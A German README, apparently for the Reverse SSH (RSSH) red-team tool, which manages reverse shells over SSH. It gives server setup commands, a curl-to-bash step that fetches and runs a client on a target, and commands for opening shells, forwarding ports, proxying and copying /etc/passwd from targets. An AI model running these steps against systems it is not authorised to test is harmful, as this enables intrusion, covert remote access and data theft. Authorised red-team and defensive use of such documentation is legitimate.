
SSH-basiertes Reverse-Shell-Verwaltungstool mit nativer SCP/SFTP-Unterstützung, mehreren Transportprotokollen, Windows-DLL-Generierung und dateiloser Ausführung für Red-Team-Operationen.

(Kunst mit freundlicher Genehmigung von https://www.instagram.com/smart.hedgehog.art/)
Möchten Sie SSH für Reverse Shells verwenden? Jetzt können Sie es.
SCP- und SFTP-Implementierungen zum Abrufen von Dateien von Ihren Zielenhttp, websockets, tls und mehr +----------------+ +---------+
| | | |
| | +---------+ RSSH |
| Reverse | | | Client |
| SSH server | | | |
| | | +---------+
+---------+ | | |
| | | | |
| Human | SSH | | SSH | +---------+
| Client +-------->+ <-----------------+ |
| | | | | | RSSH |
+---------+ | | | | Client |
| | | | |
| | | +---------+
| | |
| | |
+----------------+ | +---------+
| | |
| | RSSH |
+---------+ Client |
| |
+---------+
https://github.com/user-attachments/assets/11dc8d14-59f1-4bdd-9503-b70f8a0d2db1
Das Container-Release wird empfohlen, da es die richtige Version von golang und einen Cross-Compiler für Windows enthält.
# Start the server
docker run -p3232:2222 -e EXTERNAL_ADDRESS=<your.rssh.server.internal>:3232 -e SEED_AUTHORIZED_KEYS="<ssh_key>" -v ./data:/data reversessh/reverse_ssh
oder docker compose:
services:
reversessh:
image: reversessh/reverse_ssh
ports:
- "3232:2222"
environment:
- EXTERNAL_ADDRESS=<your.rssh.server.internal>:3232
- RSSH_CONSOLE_LABEL=c2.label
- RSSH_LOG_LEVEL=INFO # DISABLED, INFO, WARNING, ERROR, FATAL
- SEED_AUTHORIZED_KEYS=${SSH_PUBLIC_KEY}
volumes:
- ./data:/data
# Connect to the server console
ssh your.rssh.server.internal -p 3232
# List all server console commands
catcher$ help
# Build a new client and host it on the in-built webserver
catcher$ link
http://192.168.0.11:3232/4bb55de4d50cc724afbf89cf46f17d25
# curl or wget this binary to a target system then execute it,
curl http://192.168.0.11:3232/4bb55de4d50cc724afbf89cf46f17d25.sh | bash
# then we can then list what clients are connected
catcher$ ls
Targets
+------------------------------------------+-----------------------------------+
| IDs | Version |
+------------------------------------------+-----------------------------------+
| a0baa1631fe7cfbbfae34eb7a66d46c00d2a161e | SSH-v2.2.3-1-gdf5a3f8-linux_amd64 |
| fe6c52029e37185e4c7d512edd67a6c7694e2995 | |
| dummy.machine | |
| 192.168.0.11:34542 | |
+------------------------------------------+-----------------------------------+
Alle Befehle unterstützen das Flag -h für Hilfe.
Dann funktionieren typische ssh-Befehle, geben Sie einfach Ihren rssh-Server als Jump Host an.
# Connect to full shell
ssh -J your.rssh.server.internal:3232 dummy.machine
# Start remote forward
ssh -R 1234:localhost:1234 -J your.rssh.server.internal:3232 dummy.machine
# Start dynamic forward
ssh -D 9050 -J your.rssh.server.internal:3232 dummy.machine
# SCP
scp -J your.rssh.server.internal:3232 dummy.machine:/etc/passwd .
Eine vollständigere Dokumentation findest du im Ordner docs. Darin enthalten sind ein Cheatsheet, Fehlerbehebung und mehr.
Ein riesiges Dankeschön an die folgenden Leute für ihre Spenden an das RSSH-Projekt, die all dies möglich machen!
chikamobina für die großzügigen Spenden! wrighterase (ctrlzero) für die Beiträge und Spenden!
Carapace ist ein neuseeländisches Sicherheitsberatungsunternehmen mit einem äußerst talentierten Team!

Der einfachste Weg, dem RSSH-Projekt etwas zurückzugeben, ist, Bugs zu finden, Feature-Requests zu eröffnen und es per Mundpropaganda an Leute weiterzuempfehlen, von denen du glaubst, dass sie es nützlich finden könnten!
Wenn du mir jedoch direkt etwas zurückgeben möchtest, kannst du das entweder über GitHub Sponsors tun oder an eine der folgenden Wallets senden:
Monero (XMR):
8A8TRqsBKpMMabvt5RxMhCFWcuCSZqGV5L849XQndZB4bcbgkenH8KWJUXinYbF6ySGBznLsunrd1WA8YNPiejGp3FFfPND
Bitcoin (BTC):
bc1qm9e9sfrm7l7tnq982nrm6khnsfdlay07h0dxfr